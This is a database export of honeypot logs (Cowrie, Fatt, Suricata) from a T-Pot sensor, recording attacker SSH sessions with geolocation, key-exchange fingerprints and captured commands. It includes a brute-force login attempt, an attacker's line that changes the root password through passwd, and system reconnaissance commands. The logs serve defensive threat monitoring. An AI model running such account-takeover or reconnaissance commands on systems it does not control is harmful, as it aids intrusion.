35074	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:13.906914+03	2021-09-20 15:15:02.76369+03	{"_id": "4QYZA3wBvYTbRNuEfVkr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:13.906914Z", "@timestamp": "2021-09-20T12:06:13.906Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35075	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:13.907456+03	2021-09-20 15:15:02.765689+03	{"_id": "4gYZA3wBvYTbRNuEfVkr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "echo \\"4321\\\\n8JapgSgtswCT\\\\n8JapgSgtswCT\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: echo \\"4321\\\\n8JapgSgtswCT\\\\n8JapgSgtswCT\\\\n\\"|passwd", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:13.907456Z", "@timestamp": "2021-09-20T12:06:13.907Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35076	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:14.541783+03	2021-09-20 15:15:02.76769+03	{"_id": "6wYZA3wBvYTbRNuEgVkW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:14.541783Z", "@timestamp": "2021-09-20T12:06:14.541Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35087	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:06:15.053712+03	2021-09-20 15:15:02.782689+03	{"_id": "7QYZA3wBvYTbRNuEgVkW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.login.failed", "message": "login attempt [bernard/123456] failed", "session": "432d66f33754", "@version": "1", "password": "123456", "username": "bernard", "timestamp": "2021-09-20T12:06:15.053712Z", "@timestamp": "2021-09-20T12:06:15.053Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	DE
35077	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:06:14.830097+03	2021-09-20 15:15:02.768717+03	{"_id": "6gYZA3wBvYTbRNuEgVkW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "432d66f33754", "@version": "1", "timestamp": "2021-09-20T12:06:14.830097Z", "@timestamp": "2021-09-20T12:06:14.830Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	DE
35078	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:15.233063+03	2021-09-20 15:15:02.76972+03	{"_id": "8QYZA3wBvYTbRNuEgVkW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:15.233063Z", "@timestamp": "2021-09-20T12:06:15.233Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35079	46.101.115.211	109.199.241.180	Fatt	2021-09-20 15:06:14.829799+03	2021-09-20 15:15:02.771725+03	{"_id": "8wYZA3wBvYTbRNuEg1k2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 41202, "dest_port": 22, "timestamp": "2021-09-20T12:06:14.829799", "@timestamp": "2021-09-20T12:06:14.829Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	DE
35080	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:15.892442+03	2021-09-20 15:15:02.77272+03	{"_id": "9QYZA3wBvYTbRNuEhFn9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:15.892442Z", "@timestamp": "2021-09-20T12:06:15.892Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35081	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:15.891393+03	2021-09-20 15:15:02.773719+03	{"_id": "-QYZA3wBvYTbRNuEhFn9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:15.891393Z", "@timestamp": "2021-09-20T12:06:15.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35127	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:06:23.513991+03	2021-09-20 15:15:02.841691+03	{"_id": "PAYZA3wBvYTbRNuEpFpG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "fb709be221b6", "@version": "1", "duration": 2.8358266353607178, "timestamp": "2021-09-20T12:06:23.513991Z", "@timestamp": "2021-09-20T12:06:23.513Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35082	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:16.254722+03	2021-09-20 15:15:02.774719+03	{"_id": "9wYZA3wBvYTbRNuEhFn9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "96.78.175.36", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.36341142654418945, "duplicate": true, "timestamp": "2021-09-20T12:06:16.254722Z", "@timestamp": "2021-09-20T12:06:16.254Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35083	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:16.920973+03	2021-09-20 15:15:02.777689+03	{"_id": "_QYZA3wBvYTbRNuEiFnn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 21, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "96.78.175.36", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3671140670776367, "duplicate": true, "timestamp": "2021-09-20T12:06:16.920973Z", "@timestamp": "2021-09-20T12:06:16.920Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35084	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:17.217541+03	2021-09-20 15:15:02.778694+03	{"_id": "AAYZA3wBvYTbRNuEiFrn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:17.217541Z", "@timestamp": "2021-09-20T12:06:17.217Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35085	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:17.587051+03	2021-09-20 15:15:02.780693+03	{"_id": "AwYZA3wBvYTbRNuEjFrO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "96.78.175.36", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3701815605163574, "duplicate": true, "timestamp": "2021-09-20T12:06:17.587051Z", "@timestamp": "2021-09-20T12:06:17.587Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35086	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:14.909703+03	2021-09-20 15:15:02.781691+03	{"_id": "7AYZA3wBvYTbRNuEgVkW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "96.78.175.36", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3685879707336426, "duplicate": true, "timestamp": "2021-09-20T12:06:14.909703Z", "@timestamp": "2021-09-20T12:06:14.909Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35088	46.101.115.211	109.199.241.180	Suricata	2021-09-20 15:06:14.829758+03	2021-09-20 15:15:02.78369+03	{"_id": "8gYZA3wBvYTbRNuEglk4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "flow_id": 104137810680408, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41202, "dest_port": 22, "timestamp": "2021-09-20T12:06:14.829758Z", "@timestamp": "2021-09-20T12:06:14.829Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	DE
35089	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:06:14.798352+03	2021-09-20 15:15:02.78569+03	{"_id": "9AYZA3wBvYTbRNuEg1k2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "46.101.115.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41202, "timestamp": "2021-09-20T12:06:14.798352", "@timestamp": "2021-09-20T12:06:14.798Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35090	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:15.595865+03	2021-09-20 15:15:02.78672+03	{"_id": "-AYZA3wBvYTbRNuEhFn9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "96.78.175.36", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3634684085845947, "duplicate": true, "timestamp": "2021-09-20T12:06:15.595865Z", "@timestamp": "2021-09-20T12:06:15.595Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
